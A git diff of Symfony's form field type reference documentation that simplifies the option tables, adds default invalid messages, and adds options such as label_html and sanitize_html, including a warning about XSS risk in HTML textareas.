+Data passed to the form must be a +:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface` +object. + +.. warning:: + + To minimize the risk of leaking the plain password, this option can + only be used with the :ref:`"mapped" option <reference-form-password-mapped>` + set to ``false``:: + + $builder->add('plainPassword', PasswordType::class, [ + 'hash_property_path' => 'password', + 'mapped' => false, + ]); + + or if you want to use it with the ``RepeatedType``:: + + $builder->add('plainPassword', RepeatedType::class, [ + 'type' => PasswordType::class, + 'first_options' => ['label' => 'Password', 'hash_property_path' => 'password'], + 'second_options' => ['label' => 'Repeat Password'], + 'mapped' => false, + ]); + +``toggle`` +~~~~~~~~~~ +**type**: ``boolean`` **requires**: `symfony/ux-toggle-password`_ + +Adds "Show"/"Hide" links to the field which toggle the password field to plaintext when clicked. +See `symfony/ux-toggle-password`_ for more details. + Overridden Options ------------------ +.. include:: /reference/forms/types/options/invalid_message.rst.inc + ``trim`` ~~~~~~~~ @@ -73,13 +94,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -95,10 +114,16 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc +.. _reference-form-password-mapped: + .. include:: /reference/forms/types/options/mapped.rst.inc .. include:: /reference/forms/types/options/required.rst.inc .. include:: /reference/forms/types/options/row_attr.rst.inc + +.. _`symfony/ux-toggle-password`: https://symfony.com/bundles/ux-toggle-password/current/index.html diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst index 4b21f1f2856..b46ca298c53 100644 --- a/reference/forms/types/percent.rst +++ b/reference/forms/types/percent.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; PercentType - PercentType Field ================= @@ -12,40 +9,15 @@ you can use this field out-of-the-box. If you store your data as a number When ``symbol`` is not ``false``, the field will render the given string after the input. -+-------------+-----------------------------------------------------------------------+ -| Rendered as | ``input`` ``text`` field | -+-------------+-----------------------------------------------------------------------+ -| Options | - `html5`_ | -| | - `rounding_mode`_ | -| | - `scale`_ | -| | - `symbol`_ | -| | - `type`_ | -+-------------+-----------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | | -+-------------+-----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+-----------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+-----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` | -+-------------+-----------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------+ +| Rendered as | ``input`` ``text`` field | ++---------------------------+-----------------------------------------------------------------------+ +| Default invalid message | Please enter a percentage value. | ++---------------------------+-----------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+-----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` | ++---------------------------+-----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -54,19 +26,11 @@ Field Options .. include:: /reference/forms/types/options/rounding_mode.rst.inc -.. versionadded:: 5.1 - - The ``rounding_mode`` option was introduced in Symfony 5.1. - html5 ~~~~~ **type**: ``boolean`` **default**: ``false`` -.. versionadded:: 5.2 - - This option was introduced in Symfony 5.2. - If set to ``true``, the HTML input will be rendered as a native HTML5 ``<input type="number">`` element. @@ -115,6 +79,8 @@ Overridden Options .. include:: /reference/forms/types/options/compound_type.rst.inc +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -126,13 +92,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -144,14 +108,14 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/help_html.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/label.rst.inc .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst index ae0d58d2fe4..7ab90086803 100644 --- a/reference/forms/types/radio.rst +++ b/reference/forms/types/radio.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; RadioType - RadioType Field =============== @@ -13,38 +10,23 @@ The ``RadioType`` isn't usually used directly. More commonly it's used internally by other types such as :doc:`ChoiceType </reference/forms/types/choice>`. If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/types/checkbox>`. -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``radio`` field | -+-------------+---------------------------------------------------------------------+ -| Inherited | from the :doc:`CheckboxType </reference/forms/types/checkbox>`: | -| options | | -| | - `value`_ | -| | | -| | from the :doc:`FormType </reference/forms/types/form>`: | -| | | -| | - `attr`_ | -| | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` | -+-------------+---------------------------------------------------------------------+ ++---------------------------+---------------------------------------------------------------------+ +| Rendered as | ``input`` ``radio`` field | ++---------------------------+---------------------------------------------------------------------+ +| Default invalid message | Please select a valid option. | ++---------------------------+---------------------------------------------------------------------+ +| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>` | ++---------------------------+---------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` | ++---------------------------+---------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -76,6 +58,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst index e328a1bbe97..06eebfd5473 100644 --- a/reference/forms/types/range.rst +++ b/reference/forms/types/range.rst @@ -1,35 +1,18 @@ -.. index:: - single: Forms; Fields; RangeType - RangeType Field =============== The ``RangeType`` field is a slider that is rendered using the HTML5 -``<input type="range"/>`` tag. - -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser) | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` | -+-------------+---------------------------------------------------------------------+ +``<input type="range">`` tag. + ++---------------------------+---------------------------------------------------------------------+ +| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser) | ++---------------------------+---------------------------------------------------------------------+ +| Default invalid message | Please choose a valid range. | ++---------------------------+---------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+---------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` | ++---------------------------+---------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -45,9 +28,14 @@ Basic Usage 'attr' => [ 'min' => 5, 'max' => 50 - ] + ], ]); +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -59,13 +47,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -81,6 +67,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/mapped.rst.inc .. include:: /reference/forms/types/options/required.rst.inc diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst index c78e6cc318e..36211237bbd 100644 --- a/reference/forms/types/repeated.rst +++ b/reference/forms/types/repeated.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; RepeatedType - RepeatedType Field ================== @@ -9,34 +6,15 @@ values must match (or a validation error is thrown). The most common use is when you need the user to repeat their password or email to verify accuracy. -+-------------+------------------------------------------------------------------------+ -| Rendered as | input ``text`` field by default, but see `type`_ option | -+-------------+------------------------------------------------------------------------+ -| Options | - `first_name`_ | -| | - `first_options`_ | -| | - `options`_ | -| | - `second_name`_ | -| | - `second_options`_ | -| | - `type`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `error_bubbling`_ | -| options | | -+-------------+------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`FormType </reference/forms/types/form>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | input ``text`` field by default, but see `type`_ option | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | The values do not match. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`FormType </reference/forms/types/form>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -184,6 +162,8 @@ Overridden Options **default**: ``false`` +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -201,8 +181,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/help_html.rst.inc -.. include:: /reference/forms/types/options/invalid_message.rst.inc - .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst index 914e4dfb428..1f2df508178 100644 --- a/reference/forms/types/reset.rst +++ b/reference/forms/types/reset.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; ResetType - ResetType Field =============== @@ -9,14 +6,6 @@ A button that resets all fields to their original values. +----------------------+---------------------------------------------------------------------+ | Rendered as | ``input`` ``reset`` tag | +----------------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `attr_translation_parameters`_ | -| | - `disabled`_ | -| | - `label`_ | -| | - `label_translation_parameters`_ | -| | - `row_attr`_ | -| | - `translation_domain`_ | -+----------------------+---------------------------------------------------------------------+ | Parent type | :doc:`ButtonType </reference/forms/types/button>` | +----------------------+---------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ResetType` | diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst index e0f8233aa5b..ad4a8f7978a 100644 --- a/reference/forms/types/search.rst +++ b/reference/forms/types/search.rst @@ -1,40 +1,26 @@ -.. index:: - single: Forms; Fields; SearchType - SearchType Field ================ -This renders an ``<input type="search"/>`` field, which is a text box with +This renders an ``<input type="search">`` field, which is a text box with special functionality supported by some browsers. -Read about the input search field at `DiveIntoHTML5.info`_ - -+-------------+----------------------------------------------------------------------+ -| Rendered as | ``input search`` field | -+-------------+----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+----------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+----------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` | -+-------------+----------------------------------------------------------------------+ ++---------------------------+----------------------------------------------------------------------+ +| Rendered as | ``input search`` field | ++---------------------------+----------------------------------------------------------------------+ +| Default invalid message | Please enter a valid search term. | ++---------------------------+----------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+----------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` | ++---------------------------+----------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -44,13 +30,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -66,6 +50,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -75,5 +61,3 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/row_attr.rst.inc .. include:: /reference/forms/types/options/trim.rst.inc - -.. _`DiveIntoHTML5.info`: http://diveintohtml5.info/forms.html#type-search diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst index 0554aef8a8e..5d863fbe8b4 100644 --- a/reference/forms/types/submit.rst +++ b/reference/forms/types/submit.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; SubmitType - SubmitType Field ================ @@ -9,18 +6,6 @@ A submit button. +----------------------+----------------------------------------------------------------------+ | Rendered as | ``button`` ``submit`` tag | +----------------------+----------------------------------------------------------------------+ -| Options | - `validate`_ | -+----------------------+----------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `attr_translation_parameters`_ | -| | - `disabled`_ | -| | - `label`_ | -| | - `label_format`_ | -| | - `label_translation_parameters`_ | -| | - `row_attr`_ | -| | - `translation_domain`_ | -| | - `validation_groups`_ | -+----------------------+----------------------------------------------------------------------+ | Parent type | :doc:`ButtonType </reference/forms/types/button>` | +----------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` | @@ -117,28 +102,8 @@ validation_groups **type**: ``array`` **default**: ``null`` When your form contains multiple submit buttons, you can change the validation -group based on the button which was used to submit the form. Imagine a registration -form wizard with buttons to go to the previous or the next step:: - - use Symfony\Component\Form\Extension\Core\Type\SubmitType; - // ... - - $form = $this->createFormBuilder($user) - ->add('previousStep', SubmitType::class, [ - 'validation_groups' => false, - ]) - ->add('nextStep', SubmitType::class, [ - 'validation_groups' => ['Registration'], - ]) - ->getForm(); - -The special ``false`` ensures that no validation is performed when the previous -step button is clicked. When the second button is clicked, all constraints -from the "Registration" are validated. - -.. seealso:: - - You can read more about this in :doc:`/form/data_based_validation`. +group based on the clicked button. Read the article about +:doc:`using validation groups in Symfony forms </form/validation_groups>`. Form Variables -------------- diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst index f6c19391ada..e8ab9c322fe 100644 --- a/reference/forms/types/tel.rst +++ b/reference/forms/types/tel.rst @@ -1,8 +1,5 @@ -.. index:: - single: Forms; Fields; TelType - TelType Field -=============== +============= The ``TelType`` field is a text field that is rendered using the HTML5 ``<input type="tel">`` tag. Following the recommended HTML5 behavior, the value @@ -13,33 +10,23 @@ Nevertheless, it may be useful to use this type in web applications because some browsers (e.g. smartphone browsers) adapt the input keyboard to make it easier to input phone numbers. -+-------------+---------------------------------------------------------------------+ -| Rendered as | ``input`` ``tel`` field (a text box) | -+-------------+---------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+---------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+---------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` | -+-------------+---------------------------------------------------------------------+ ++---------------------------+-------------------------------------------------------------------+ +| Rendered as | ``input`` ``tel`` field (a text box) | ++---------------------------+-------------------------------------------------------------------+ +| Default invalid message | Please provide a valid phone number. | ++---------------------------+-------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+-------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` | ++---------------------------+-------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc +Overridden Options +------------------ + +.. include:: /reference/forms/types/options/invalid_message.rst.inc + Inherited Options ----------------- @@ -51,13 +38,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc The default value is ``''`` (the empty string). -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -73,6 +58,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst index a12af8e778f..edae11202e8 100644 --- a/reference/forms/types/text.rst +++ b/reference/forms/types/text.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; TextType - TextType Field ============== @@ -9,26 +6,6 @@ The TextType field represents the most basic input text field. +-------------+--------------------------------------------------------------------+ | Rendered as | ``input`` ``text`` field | +-------------+--------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+--------------------------------------------------------------------+ -| Overridden | - `compound`_ | -| options | | -+-------------+--------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +-------------+--------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextType` | @@ -47,15 +24,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc From an HTTP perspective, submitted data is always a string or an array of strings. So by default, the form will treat any empty string as null. If you prefer to get an empty string, explicitly set the ``empty_data`` option to an empty string. -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -71,6 +46,8 @@ an empty string, explicitly set the ``empty_data`` option to an empty string. .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -79,6 +56,10 @@ an empty string, explicitly set the ``empty_data`` option to an empty string. .. include:: /reference/forms/types/options/row_attr.rst.inc +.. include:: /reference/forms/types/options/sanitize_html.rst.inc + +.. include:: /reference/forms/types/options/sanitizer.rst.inc + .. include:: /reference/forms/types/options/trim.rst.inc Overridden Options diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst index 8a28262aec6..47a32368b99 100644 --- a/reference/forms/types/textarea.rst +++ b/reference/forms/types/textarea.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; TextareaType - TextareaType Field ================== @@ -9,23 +6,6 @@ Renders a ``textarea`` HTML element. +-------------+------------------------------------------------------------------------+ | Rendered as | ``textarea`` tag | +-------------+------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -| | - `trim`_ | -+-------------+------------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +-------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextareaType` | @@ -39,6 +19,13 @@ Renders a ``textarea`` HTML element. ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read `its documentation`_ to learn how to integrate it in your Symfony application. +.. warning:: + + When allowing users to type HTML code in the textarea (or using a + WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`, + clickjacking or CSS injection. Use the `sanitize_html`_ option to + protect against these types of attacks. + Inherited Options ----------------- @@ -50,13 +37,13 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`: .. include:: /reference/forms/types/options/disabled.rst.inc -.. include:: /reference/forms/types/options/empty_data.rst.inc - :end-before: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc -The default value is ``''`` (the empty string). +From an HTTP perspective, submitted data is always a string or an array of strings. +So by default, the form will treat any empty string as null. If you prefer to get +an empty string, explicitly set the ``empty_data`` option to an empty string. -.. include:: /reference/forms/types/options/empty_data.rst.inc - :start-after: DEFAULT_PLACEHOLDER +.. include:: /reference/forms/types/options/empty_data_description.rst.inc .. include:: /reference/forms/types/options/error_bubbling.rst.inc @@ -72,6 +59,8 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/label_attr.rst.inc +.. include:: /reference/forms/types/options/label_html.rst.inc + .. include:: /reference/forms/types/options/label_format.rst.inc .. include:: /reference/forms/types/options/mapped.rst.inc @@ -80,6 +69,10 @@ The default value is ``''`` (the empty string). .. include:: /reference/forms/types/options/row_attr.rst.inc +.. include:: /reference/forms/types/options/sanitize_html.rst.inc + +.. include:: /reference/forms/types/options/sanitizer.rst.inc + .. include:: /reference/forms/types/options/trim.rst.inc .. _`its documentation`: https://symfony.com/doc/current/bundles/FOSCKEditorBundle/index.html diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index 042e3e7da0c..a3378f948cd 100644 --- a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Fields; TimeType - TimeType Field ============== @@ -10,48 +7,17 @@ This can be rendered as a text field, a series of text fields (e.g. hour, minute, second) or a series of select fields. The underlying data can be stored as a ``DateTime`` object, a string, a timestamp or an array. -+----------------------+-----------------------------------------------------------------------------+ -| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | -+----------------------+-----------------------------------------------------------------------------+ -| Rendered as | can be various tags (see below) | -+----------------------+-----------------------------------------------------------------------------+ -| Options | - `choice_translation_domain`_ | -| | - `placeholder`_ | -| | - `hours`_ | -| | - `html5`_ | -| | - `input`_ | -| | - `input_format`_ | -| | - `minutes`_ | -| | - `model_timezone`_ | -| | - `reference_date`_ | -| | - `seconds`_ | -| | - `view_timezone`_ | -| | - `widget`_ | -| | - `with_minutes`_ | -| | - `with_seconds`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Overridden options | - `by_reference`_ | -| | - `compound`_ | -| | - `data_class`_ | -| | - `error_bubbling`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `data`_ | -| | - `disabled`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `inherit_data`_ | -| | - `invalid_message`_ | -| | - `invalid_message_parameters`_ | -| | - `mapped`_ | -| | - `row_attr`_ | -+----------------------+-----------------------------------------------------------------------------+ -| Parent type | FormType | -+----------------------+-----------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType` | -+----------------------+-----------------------------------------------------------------------------+ ++---------------------------+-----------------------------------------------------------------------------+ +| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) | ++---------------------------+-----------------------------------------------------------------------------+ +| Rendered as | can be various tags (see below) | ++---------------------------+-----------------------------------------------------------------------------+ +| Default invalid message | Please enter a valid time. | ++---------------------------+-----------------------------------------------------------------------------+ +| Parent type | FormType | ++---------------------------+-----------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType` | ++---------------------------+-----------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -101,19 +67,23 @@ If your widget option is set to ``choice``, then this field will be represented as a series of ``select`` boxes. When the placeholder value is a string, it will be used as the **blank value** of all select boxes:: - $builder->add('startTime', 'time', [ + $builder->add('startTime', TimeType::class, [ 'placeholder' => 'Select a value', ]); Alternatively, you can use an array that configures different placeholder values for the hour, minute and second fields:: - $builder->add('startTime', 'time', [ + $builder->add('startTime', TimeType::class, [ 'placeholder' => [ 'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second', - ] + ], ]); +.. seealso:: + + See the `with_seconds`_ option on how to enable seconds in the form type. + .. include:: /reference/forms/types/options/hours.rst.inc .. include:: /reference/forms/types/options/html5.rst.inc @@ -147,7 +117,7 @@ of the time. This must be a valid `PHP time format`_. .. include:: /reference/forms/types/options/model_timezone.rst.inc -.. caution:: +.. warning:: When using different values for ``model_timezone`` and `view_timezone`_, a `reference_date`_ must be configured. @@ -168,7 +138,7 @@ based on this date. When no `reference_date`_ is set the ``view_timezone`` defaults to the configured `model_timezone`_. -.. caution:: +.. warning:: When using different values for `model_timezone`_ and ``view_timezone``, a `reference_date`_ must be configured. @@ -191,7 +161,7 @@ following: will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using seconds). -.. caution:: +.. warning:: Combining the widget type ``single_text`` and the `with_minutes`_ 